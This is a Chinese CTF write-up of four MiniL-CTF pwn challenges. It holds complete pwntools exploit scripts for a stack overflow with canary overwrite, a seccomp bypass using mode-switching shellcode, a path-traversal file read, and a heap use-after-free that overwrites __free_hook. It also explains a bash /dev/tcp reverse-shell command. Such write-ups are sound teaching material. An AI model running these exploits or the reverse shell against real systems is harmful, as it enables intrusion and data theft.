0%

MninL-CTF-pwn

![img](file:///C:\Users\张鹏\Documents\Tencent Files\2220323423\Image\C2C(}RLTKRW2)0W46[NJBY[R`A.png)

image-20220511133825521

pwn1

一道有点点麻烦的scanf栈溢出,给了两次任意改和一次74字节的scanf输入机会,所以可以通过任意改改TLS储存的canary的值,不过只有在线程中才canary的储存位置才离栈很近,可以通过栈改,在进程中都是储存在fs段,离栈非常远就不好更改了,然后通过scanf的栈溢出搞个ogg就能getshell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.log_level='debug'
#sh=process(['/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/ld-2.31.so', './pwn'], env={"LD_LIBRARY_PATH":'/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/'})
sh=remote("pwn.archive.xdsec.chall.frankli.site",10015)
libc = ELF('/home/rootzhang/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so')
elf=ELF("./pwn")
b='b *{0}'.format(0x40142E)
#gdb.attach(sh,b)

def edit(idx,content):
sh.sendlineafter("Add new god:",str(idx))
sh.sendafter("Name: ",content.ljust(7,'\x00'))
def exp():
sh.sendlineafter("Do you know who is the God of XDSEC? (*^_^*)",'yes')
edit(272,'a')
edit(10,p64(0x401236))
pop_rdi=0x00000000004015d3
pay='a'*(8*3-1)+p64(0x61)+p64(0)+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(0x401236)
sh.recvuntil("Finally, what's your name?")
sh.sendline(pay)
libc_base=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym["puts"]
print hex(libc_base)
sh.recvuntil("Finally, what's your name?")
pay='a'*(8*3)+p64(0x61)+p64(0)+p64(libc_base+0x0000000000034580)+p64(libc_base+0xe3b34)
sh.sendline(pay)
sh.interactive()
exp()

pwn2 shellcode

一道有沙箱的shellcode题目,刚开始题目出的有问题,沙箱没有禁用0x40000000,所以可以0x40000000+系统调用号绕过沙箱,本地是成功的,但是远程一直不成功,和出题人反馈后说是题目出错了,最后ban了0x40000000,但是没有ban架构,沙盒如下

1
2
3
4
5
6
7
8
9
10
11
rootzhang@ubuntu:~/get-shell/xidian/pwn5$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x25 0x05 0x00 0x40000000 if (A > 0x40000000) goto 0007
0002: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0007
0003: 0x15 0x03 0x00 0x00000005 if (A == fstat) goto 0007
0004: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0007
0005: 0x15 0x01 0x00 0x00000009 if (A == mmap) goto 0007
0006: 0x06 0x00 0x00 0x00000000 return KILL
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW

本质上他允许1 5 0 9这四个系统调用号,在32位下调用号5对应open,这样orw就凑齐了,先在64下利用mmap申请32位地址的地段空间,然后使用retfq转到32位,调用open后调用retfq返回64位,注意32位没有retfq这个指令所以填的是64位的,还有第二个retfq后面必须得还有指令才能执行成功,不然就会出错,最后在64位下调用rw得到flag

基本上是mark佬提供的思路。膜膜

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
#sh=process("./pwn")
sh=remote("pwn.archive.xdsec.chall.frankli.site",10057)
context.log_level='debug'
context.os='linux'
#gdb.attach(sh,"b *(0x555555554000+0x13C2)")
def exp():
shellcode1='''
mov rbp, rax
mov rax, 9
mov rdi, 0x70707070
mov rsi, 0x100
mov rdx, 7
mov rcx, 34
mov r8, 0xffffffffffffffff
mov r9, 0
syscall
mov rsi, 0x70707070
mov rax, 0
mov rdi, 0
mov rdx, 0x400
syscall
mov esp, 0x70707a70
mov rax, 0x23
push rax
push 0x70707077
retfq
'''
shellcode2='''
mov ebx, 0x70707070
mov ecx, 0
mov edx, 0
mov eax, 5
int 0x80
'''
shellcode3='''
push 0x33
push 0x70707170
retfq
mov rax, 1
'''
shellcode4='''
mov rax, 0
mov rdi ,3
mov rsi, 0x70707870
mov rdx, 0x40
syscall
mov rax, 1
mov rdi, 1
mov rsi, 0x70707870
mov rdx, 0x40
syscall
'''
pay=asm(shellcode1,arch='amd64')
sh.send(pay.ljust(0x100,'\x00'))
pay='./flag\x00'+asm(shellcode2,arch='i386')+asm(shellcode3,arch='amd64')
pay=pay.ljust(0x100,'\x00')
pay+=asm(shellcode4,arch='amd64')
sh.send(pay.ljust(0x400,'\x00'))
sh.interactive()
exp()

pwn3 easy_http

可以任意文件读,就是禁了/home/minil/flag目录,绕过就行了,比如/home/../home/mimil/flag

1
2
3
4
5
6
7
from pwn import *
context.log_level='debug'
sh=remote("pwn.archive.xdsec.chall.frankli.site",10021)
pay='GET /home/minil/../minil/flag\r\n'
pay+='User-Agent: MiniL\r\n\r\n'
sh.send(pay)
sh.interactive()

pwn4 kvdb

这道题的代码量是我做过的题中最大的,当时审了一会实在审不下去就放弃了,后面出题人鉴于难度太大直接放了源码,才又跑来看这道题,一看源码,好家伙加起来一千多行了,光审明白代码和找见漏洞花了一个晚上。🤦‍♀️

0x1 结构体及关系

程序实现的是一个简易版本的数据库,把里面的结构体的关系抽象出来就是如下图

image-20220511135849068

其中比较重要的是data_t结构体了,本质上他有两个成员,一个成员是uint16 type,记录的是这个data_t结构体是什么类型的,0->empty,1->int,2->float,3->string,然后还有一个union共用题记录成员具体的量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
typedef uint64 data_integer_t;
typedef double data_float_t;
typedef struct data_string_t {
uint32 len;
char* ptr;
} data_string_t;
typedef struct data_t data_t;
typedef struct data_array_t {
uint32 count;
data_t** items;
} data_array_t;
typedef struct data_t {
uint16 type;
union {
data_integer_t integer;
data_float_t _float;
data_string_t str;
data_array_t array;
};
} data_t;

这个结构体是0x18大小的,所以会申请0x10大小的堆,然后下一个堆头的前八个字节也给这个堆用。

0x2 大致逻辑

程序是利用socket和用户进行交互的,程序的启动脚本如下

1
./kvdb -p 9999 -m 32 -l /dev/null -t 10 -d

这是程序对命令行参数的解析过程,其中getopt函数就是每次取一个选项,然后把选项对应的值存到optarg中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
while ((c = getopt(argc, argv, "p:m:t:l:hd")) != -1) {
switch (c) {
case 'p':
socks_server_port = atoi(optarg);
break;
case 'm':
max_requests = atoi(optarg);
break;
case 't':
timeout = atoi(optarg);
break;
case 'l':
log_file = (char *)optarg;
case 'd':
run_daemon = 1;
break;
case 'h':
std::cerr
<< "kvdb [-p <port>] [-m <max_clients>] [-t <timeout sec>] [-l <log file>] [-d]"
<< std::endl;
exit(0);
case '?':
std::cerr << ("HELP: -h") << std::endl;
exit(0);
}
}

解析完毕后对变量的赋值如下。

1
2
3
4
5
socks_server_port=9999
max_requests=32
timeout=10
log_file=/dev/null
run_daemon=1

然后就进入了init_daemon()函数,这个函数的作用就是生成守护进程,感觉很有意思可以学习一下,生成守护进程后程序的标准输入输出就脱离终端了,然后进入server_loop()函数创建服务端socket,一直accept等待连接,有连接后再fork一个子进程让子进程处理请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
uint32 server_loop() {
int sock_fd;
struct sockaddr_in local_addr, client_addr;
memset(&local_addr, 0, sizeof(local_addr));

/* new socket (only IPv4 is supported now) */
if ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
std::cerr << "server_loop(): Can not create sock_fd!" << std::endl;
return 1;
}
/* reuse addr */
int new_optval = 1;
if (setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, &new_optval,
sizeof(new_optval)) < 0) {
std::cerr << "server_loop(): setsockopt()!" << std::endl;
return 1;
}
local_addr.sin_family = AF_INET;
local_addr.sin_addr.s_addr = htonl(INADDR_ANY); // listen addr
local_addr.sin_port = htons(socks_server_port); // listen port
socklen_t local_addr_len = sizeof(local_addr);

if (bind(sock_fd, (struct sockaddr*)&local_addr, local_addr_len) < 0) {
std::cerr << "server_loop(): bind()" << std::endl;
return 1;
}

if (listen(sock_fd, max_requests) < 0) {
std::cerr << "server_loop(): listen()" << std::endl;
return 1;
} else {
printf("[%d] Listen on port %d.\n", getpid(), socks_server_port);
}

socklen_t client_addr_len = sizeof(client_addr);
memset(&client_addr, 0, sizeof(client_addr));

while (1) {
/* loop */
if ((client_fd = accept(sock_fd, (struct sockaddr*)&client_addr,
&client_addr_len)) < 0) {
std::cerr << "server_loop(): accept()" << std::endl;
return 1;
} else {
/* get address info */
char ip_str[INET_ADDRSTRLEN+1] = {0};
uint16 port;
inet_ntop(AF_INET, &client_addr.sin_addr.s_addr, ip_str, sizeof(ip_str));
port = ntohs(client_addr.sin_port);

/* set TCP_NODELAY */
new_optval = 1;
if (setsockopt(client_fd, SOL_TCP, TCP_NODELAY, &new_optval,
sizeof(new_optval)) < 0) {
fprintf(stderr,
"Warnning: Can not setsockopt() for client_fd %d",
client_fd);
}

/* fork process */
int pid = fork();
if (pid < 0) {
continue;
} else {
if (pid == 0) { // subprocess
close(sock_fd);
/* set timeout */
if (timeout) {
alarm(timeout);
signal(SIGALRM, signal_handler);
}

printf("[%d] Connection Established - %s:%d\n", getpid(), ip_str, port);

/* handle */
int res = handle_request(client_fd);

/* normal exit */
close_socket(client_fd);
exit(res);
} else { // main process
close(client_fd);
continue;
}
}
}
/* end loop */
}
}

子进程调用handle_request(fd)函数处理请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
uint32 handle_request(int sock) {
char magic_buf[4] = {0};
char op_buf[MAX_OP_SIZE + 1] = {0};
uint16 op_len_be = 0;
uint16 op_len_le = 0;

while (1) {
FETCH_COMMAND:
/* check MAGIC */
memset(magic_buf, '\0', sizeof(magic_buf));
memset(op_buf, '\0', sizeof(op_buf));
if (readn(sock, magic_buf, MAGIC_SIZE) != MAGIC_SIZE) {
resp_str(sock, "Bad Magic");
return ~0;
}
if (memcmp(magic_buf, MAGIC, MAGIC_SIZE)) {
resp_str(sock, "Bad Magic");
return ~0;
}

/* read op */
if (readn(sock, (char*)&op_len_be, sizeof(uint16)) != sizeof(uint16)) {
resp_str(sock, "Bad Op Length");
return ~0;
}
op_len_le = BigLittleSwap16(op_len_be);
if (op_len_le > MAX_OP_SIZE) {
resp_str(sock, "Bad Op Length");
return ~0;
}
memset(op_buf, '\0', sizeof(op_buf));
readn(sock, op_buf, op_len_le);

/* find handler */
op_handler* h = NULL;
for (h = &accepted_ops[0]; h->opcode[0] && h->handler; h++) {
if (!memcmp(op_buf, h->opcode, op_len_le)) {
/* call handler */
int res = h->handler(sock);
#ifdef DEBUG
fprintf(stderr, "[%d] op_handler_%s() return %d\n", getpid(),
h->opcode, res);
#endif
goto FETCH_COMMAND;
}
}
/* unknown opcode return */
resp_str(sock, "Op Not Found");
return ~0;
}
}

首先经过一些检查,然后根据报文里的内容调用对应函数,可选项一共有这些

1
2
3
4
5
op_buf={
1:b"ADD", 2:b"DEL",3:b"MDF",4:b"RNM",
5:b"CPY",6:b"GET",7:b"DUM",8:b"CLR",
9:b"SHU"
}

然后这些选项对应的函数如下

1
2
3
4
5
6
7
8
9
static struct op_handler {
char opcode[MAX_OP_SIZE + 1];
uint32 (*handler)(int);
} accepted_ops[] = {
{OPCODE_ADD, op_handler_ADD}, {OPCODE_DELETE, op_handler_DEL},
{OPCODE_MODIFY, op_handler_MDF}, {OPCODE_RENAME, op_handler_RNM},
{OPCODE_COPY, op_handler_CPY}, {OPCODE_GET, op_handler_GET},
{OPCODE_SHUTDOWN, op_handler_SHUT}, {OPCODE_DUMP, op_handler_DUMP},
{OPCODE_CLEAR, op_handler_CLR}, {OPCODE_TREM, NULL}};

其中比较关键的就是op_handler_ADD(),op_handler_DEL,op_handler_RNM,op_handler_MDF,op_handler_GET,op_handler_DUMP这几个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
uint32 op_handler_ADD(int sock) {
data_t* key = read_data_t(sock);
if (!key) {
resp_str(sock, "Key Error");
return 1;
}
data_t* value = read_data_t(sock);
if (!value) {
resp_str(sock, "Value Error");
release_data_t(key);
return 1;
}
if (add_data_item(key, value, 1) != 0) {
resp_str(sock, "Add Failed");
release_data_t(key);
release_data_t(value);
return 1;
}
/* success */
resp_str(sock, "Done");
release_data_t(key);
release_data_t(value);
return 0;
}
uint32 op_handler_DEL(int sock) {
data_t* key = read_data_t(sock);
if (!key) {
resp_str(sock, "Key Error");
return 1;
}
if (delete_data_item(key) != 0) {
resp_str(sock, "Delete Failed");
release_data_t(key);
return 1;
}
/* success */
resp_str(sock, "Done");
release_data_t(key);
return 0;
}
//修改value
uint32 op_handler_MDF(int sock) {
data_t* key = read_data_t(sock);
if (!key) {
resp_str(sock, "Key Error");
return 1;
}
data_t* new_value = read_data_t(sock);
if (!new_value) {
resp_str(sock, "Value Error");
release_data_t(key);
return 1;
}
if (modify_data_item(key, new_value) != 0) {
resp_str(sock, "Modify Failed");
release_data_t(key);
release_data_t(new_value);
return 1;
}
/* success */
resp_str(sock, "Done");
release_data_t(key);
release_data_t(new_value);
return 0;
}
//修改key
uint32 op_handler_RNM(int sock) {
data_t* key = read_data_t(sock);
if (!key) {
resp_str(sock, "Old Key Error");
return 1;
}
data_t* new_key = read_data_t(sock);
if (!new_key) {
resp_str(sock, "New Key Error");
release_data_t(key);
return 1;
}
/* check dup */
if (get_data_item(new_key) != NULL) {
resp_str(sock, "Duplicate Key");
release_data_t(key);
release_data_t(new_key);
return 1;
}
if (rename_data_item(key, new_key) != 0) {
resp_str(sock, "Rename Failed");
release_data_t(key);
release_data_t(new_key);
return 1;
}
/* success */
resp_str(sock, "Done");
release_data_t(key);
release_data_t(new_key);
return 0;
}
//根据key得到value的数据
uint32 op_handler_GET(int sock) {
data_t* key = read_data_t(sock);
if (!key) {
resp_str(sock, "Key Error");
return 1;
}
data_t* res = get_data_item(key);
if (res == NULL) {
/* return an empty type data_t */
data_t* empty = (data_t*)calloc(sizeof(data_t), 1);
if (empty) {
empty->type = DATA_TYPE_EMPTY;
do_resp(sock, empty);
release_data_t(empty);
} else {
resp_str(sock, "Get Failed");
}
release_data_t(key);
return 1;
}
/* success */
do_resp(sock, res);
release_data_t(key);
return 0;
}
//得到整个数据库的内容
uint32 op_handler_DUMP(int sock){
data_t *dump_array = dump_data_item();
if(!dump_array){
resp_str(sock, "Dump Failed");
return 1;
};
do_resp(sock, dump_array);
release_data_t(dump_array);
return 0;
}

其中add函数是接收一个key和value然后放入database中,del函数就是根据key删除一对键值对,get就是根据key向用户发送对应的value,rnm就是重写一个key,mdf就是根据一个key重写一个value,dump就是把数据库里的所有数据全都发送给用户

处理用户输入的函数如下,就是根据不同的type创建不同的data_t,审完发现非常安全。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
data_t* read_data_t(int sock) {
return do_read_data_t(sock, 0);
}

data_t* do_read_data_t(int sock, int level) {
uint16 type_be;
uint16 type_le;

/* new data_t obj */
data_t* tmp = (data_t*)calloc(1, sizeof(data_t));
if (!tmp)
return NULL;

// integer
data_integer_t integer_be = 0;
// float
data_float_t float_be = 0;
// string
uint32 str_len_be = 0;
uint32 str_len_le = 0;
// array
uint32 count_be = 0;
uint32 count_le = 0;
data_t* item = NULL;

readn(sock, (char*)&type_be, sizeof(uint16));
type_le = BigLittleSwap16(type_be);

int l;

switch (type_le) {
case DATA_TYPE_INTEGER:
tmp->type = DATA_TYPE_INTEGER;
if (readn(sock, (char*)&integer_be, sizeof(data_integer_t)) !=
sizeof(data_integer_t)) {
goto INVALID;
}
tmp->integer = BigLittleSwap64(integer_be);
#ifdef DEBUG
fprintf(stderr, "[%d] ", getpid());
for (int l = 0; l < level; l++) {
printf("- ");
}
fprintf(stderr, "Integer: \x1B[36m0x%llx\x1B[0m\n", tmp->integer);
#endif
return tmp;
case DATA_TYPE_FLOAT:
tmp->type = DATA_TYPE_FLOAT;
if (readn(sock, (char*)&float_be, sizeof(data_float_t)) !=
sizeof(data_float_t)) {
goto INVALID;
}
*(uint64*)&tmp->_float = BigLittleSwap64(*(uint64*)&float_be);
#ifdef DEBUG
fprintf(stderr, "[%d] ", getpid());
for (int l = 0; l < level; l++) {
printf("- ");
}
fprintf(stderr, "Float: \x1B[35m%lf\x1B[0m\n", tmp->_float);
#endif
return tmp;
case DATA_TYPE_STRING:
tmp->type = DATA_TYPE_STRING;
if (readn(sock, (char*)&str_len_be, sizeof(uint32)) !=
sizeof(uint32)) {
goto INVALID;
}
str_len_le = BigLittleSwap32(str_len_be);
tmp->str.len = str_len_le;
tmp->str.ptr = (char*)calloc(str_len_le, 1);
if (!tmp->str.ptr)
goto INVALID;
readn(sock, tmp->str.ptr, str_len_le);
#ifdef DEBUG
fprintf(stderr, "[%d] ", getpid());
for (int l = 0; l < level; l++) {
printf("- ");
}
fprintf(stderr, "String(%d): \x1B[32m%s\x1B[0m\n", tmp->str.len, tmp->str.ptr);
#endif
return tmp;
case DATA_TYPE_ARRAY:
tmp->type = DATA_TYPE_ARRAY;
if (readn(sock, (char*)&count_be, sizeof(uint32)) !=
sizeof(uint32)) {
goto INVALID;
}
count_le = BigLittleSwap32(count_be);
tmp->array.count = count_le;
tmp->array.items = (data_t**)calloc(count_le, sizeof(data_t*));
#ifdef DEBUG
fprintf(stderr, "[%d] ", getpid());
for (int l = 0; l < level; l++) {
printf("- ");
}
fprintf(stderr, "\x1B[107mArray[%d]\x1B[0m:\n", tmp->array.count);
#endif
for (uint32 i = 0; i < count_le; i++) {
item = do_read_data_t(sock, level + 1);
if (item == NULL) {
/* release all received items when error occur */
for (uint32 j = 0; j < i; j++) {
release_data_t(tmp->array.items[j]);
free(tmp->array.items);
goto INVALID;
}
}
tmp->array.items[i] = item;
}
return tmp;
case DATA_TYPE_EMPTY:
#ifdef DEBUG
fprintf(stderr, "[%d] ", getpid());
for (int l = 0; l < level; l++) {
printf("- ");
}
fprintf(stderr, "Empty data_t\n");
#endif
tmp->type = DATA_TYPE_EMPTY;
return tmp;
default:
goto INVALID;
break;
}
INVALID:
free(tmp);
return NULL;
}

0x3 漏洞

漏洞就是出在dump函数中的dump_data_item()身上,他对数据库的复制并不是深拷贝,而是直接把地址拿过来了,最后还把这些地址全都通过release_data_t()函数释放了,但是这些地址还存在在数据库中,所以导致了uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
data_t *dump_data_item(){
data_t *dump_array = (data_t *)calloc(1, sizeof(data_t));
if(!dump_array) return NULL;
dump_array->type = DATA_TYPE_ARRAY;
dump_array->array.count = database.size();
dump_array->array.items = (data_t **)calloc(dump_array->array.count, sizeof(data_t *));
std::list<kvpair>::iterator iter;
int i;
for (iter = database.begin(), i = 0; iter != database.end(); iter++, i++) {
/* item_array[2] = {key, value} */
data_t *item_array = (data_t *)calloc(1, sizeof(data_t));
item_array->type = DATA_TYPE_ARRAY;
item_array->array.count = 2;
item_array->array.items = (data_t **)calloc(2, sizeof(data_t *));
item_array->array.items[0] = iter->first.get_data_t();
item_array->array.items[1] = iter->second.get_data_t();
dump_array->array.items[i] = item_array;
}
return dump_array;
}

0x4 漏洞利用

这个程序觉得最难的不是发现漏洞,而是发现漏洞后该如何利用漏洞,成功发现漏洞到利用成功又花了一天,由于key和value的前八个字节放的是他的类型,如果被free的话就会破坏,但是如果再次访问的话就访问不到了,刚开始的思路是让free掉的堆被unlink就好了,但是试了一会发现0x20大小的堆根本不会unlink,所以没办法free完之后立即使用

正确的思路就是直接再申请被free掉的堆块,这样就有两个指针指向同一块区域了,然后在申请的时候申请string的value,就可以利用string控制节点了。这是个概率事件,得多次重复的申请才可能成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#add_int_string
payload=add_int_string(0x10,0x40,'a')
payload+=add_int_string(0x20,0x40,'b')
payload+=add_int_string(0x30,0x40,'c')
payload+=add_int_string(0x40,0x40,'d')
payload+=add_int_string(0x50,0x40,'e')
payload+=add_int_string(0x60,0x40,'f')
#dump
payload+=dump()
#add_string_string
payload+=add_int_string(0x70,0x16,'\x00')
payload+=add_int_string(0x80,0x16,'b'*0x16)
payload+=add_int_string(0x90,0x16,'c'*0x16)
payload+=add_int_string(0xa0,0x16,'d'*0x16)
payload+=add_int_string(0xb0,0x16,'e'*0x16)
payload+=add_int_string(0xc0,0x16,'f'*0x16)

这样以后堆块的堆叠情况是这样的

1
2
3
4
5
6
7
8
9
10
11
12
#这是每一个键值对的堆块的后12位
1:0a0 0c0
2:310 330
3:4c0 4e0
4:5d0 5f0
5:690 6b0
6:750 770
#再申请后
0x70 string->0x80 value
0xa0 string->310
0xb0 string->0c0
0xc0 value ->0c0

可见我们可以控制3个节点了,利用这三个节点完成对__free_hook的改写,然后反弹flag,出题人说不连外网,所以直接通过sokcet把flag反弹回来

完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from pwn import *
ip="127.0.0.1"
port=9998
context.log_level='debug'
#sh=remote(ip,port)
sh=remote("pwn.archive.xdsec.chall.frankli.site",10088)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
op_buf={
1:b"ADD",
2:b"DEL",
3:b"MDF",
4:b"RNM",
5:b"CPY",
6:b"GET",
7:b"DUM",
8:b"CLR",
9:b"SHUT"
}


def build_int(digit):
pay=p16(0x0100)+p64(digit)
return pay

def build_string(str_len,str_srt):
strlen=((str_len&0xff000000)>>24)|((str_len&0x00ff0000)>>8)|((str_len&0x0000ff00)<<8)|((str_len&0x000000ff)<<24)
pay=p16(0x0300)+p32(strlen)
pay+=bytes(str_srt.ljust(str_len,'\x00'),'utf-8')
return pay

def build_string1(str_len,str_srt):
strlen=((str_len&0xff000000)>>24)|((str_len&0x00ff0000)>>8)|((str_len&0x0000ff00)<<8)|((str_len&0x000000ff)<<24)
pay=p16(0x0300)+p32(strlen)
pay+=str_srt
return pay

def msg(code,context):
pay=b'KVDB'+p16(0x0300)+op_buf[code]
if(context!=b''):
pay+=context
return pay

def add_int_string(key_value,value_len,content):
pay=build_int(key_value)
pay+=build_string(value_len,content)
return msg(1,pay)
def dump():
return msg(7,b'')

def clear():
return msg(8,b'')

def add_string_string(key_len,key_content,value_len,value_content):
pay=build_string(key_len,key_content)
pay+=build_string(value_len,value_content)
return msg(1,pay)

def del_string_key(key_len,key_content):
pay=build_string(key_len,key_content)
return msg(2,pay)

def stringkey_get_value(key_len,key_value):
pay=build_string(key_len,key_value)
return msg(6,pay)
def intkey_get_value(key_value):
pay=build_int(key_value)
return msg(6,pay)

def del_int_key(key_value):
pay=build_int(key_value)
return msg(2,pay)

def change_value(key_value,value_len,value_content):
pay=build_int(key_value)
pay+=build_string1(value_len,value_content)
return msg(3,pay)

def change_key(key_len,key_content,new_len,new_content):
pay=build_string1(key_len,key_content)
pay+=build_string1(new_len,new_content)
return msg(4,pay)

def exp():
#add_int_string
payload=add_int_string(0x10,0x40,'a')
payload+=add_int_string(0x20,0x40,'b')
payload+=add_int_string(0x30,0x40,'c')
payload+=add_int_string(0x40,0x40,'d')
payload+=add_int_string(0x50,0x40,'e')
payload+=add_int_string(0x60,0x40,'f')
#dump
payload+=dump()
#add_string_string
payload+=add_int_string(0x70,0x16,'\x00')
payload+=add_int_string(0x80,0x16,'b'*0x16)
payload+=add_int_string(0x90,0x16,'c'*0x16)
payload+=add_int_string(0xa0,0x16,'d'*0x16)
payload+=add_int_string(0xb0,0x16,'e'*0x16)
payload+=add_int_string(0xc0,0x16,'f'*0x16)
#del
payload+=del_int_key(0x80)
#get
payload+=intkey_get_value(0x70)
sh.send(payload)
sleep(1)
sh.recv(710)
heap_base=u64(sh.recvuntil('V')[-6:]+b'\x00\x00')-0x128e0
print(hex(heap_base))
#add
payload=add_int_string(0xd0,0x500,'g')
#change_value
heap_addr=heap_base+0x12a60
payload+=change_value(0xb0,0x16,p64(3)+p64(0x16)+p32(heap_addr&0xffffffff)+p16((heap_addr&0xffff00000000)>>8*4))
#get
payload+=intkey_get_value(0xc0)
sh.send(payload)

libc_base=u64(sh.recvuntil('\x7f')[-6:]+b'\x00\x00')-0x1ecbe0
print(hex(libc_base))


system_addr=libc_base+libc.sym["system"]
free_hook=libc_base+libc.sym["__free_hook"]-0x20
pay1=b'cat flag >&4\x00'+b'a'*(0x20-13)+b'\x00'*0x10
payload=change_value(0xb0,0x16,p64(3)+p64(0x30)+p32(free_hook&0xffffffff)+p16((free_hook&0xffff00000000)>>8*4))
payload+=change_value(0xc0,0x30,pay1)
payload+=change_value(0xa0,0x16,p64(3)+p64(0x30)+p32(free_hook&0xffffffff)+p16((free_hook&0xffff00000000)>>8*4))
pay=b'cat flag >&4\x00'+b'a'*(0x20-13)+p64(system_addr)+p64(0)
payload+=change_key(0x30,pay1,0x30,pay)
sh.send(payload)

sh.interactive()
exp()

反弹原理

类似bash的反弹原理,bash的反弹命令是

1
base -i &> /dev/tcp/ip/port  0>&1

其中base i的作用是产生一个base交互环境,然后&>代表着把前面base的交互环境的标准输出和标准错误重定位到后面的文件中,然后后面0>&1就是把标准输入重定位到标准输出上,由于标准输出指向tcp连接,所以标准输入也重定位到这个文件上了,这样就产生一个交互式的base了。

其中比较重要的就是>&符号,他会把前面的内容重定向到后面的内容,后面是个fd,比如echo flag >&1就是把flag重定向到了到了1即标准输出,在脚本中我是cat flag >&4就是把flag文件的内容重定向到了4即scocket连接上。所以会把flag发过来。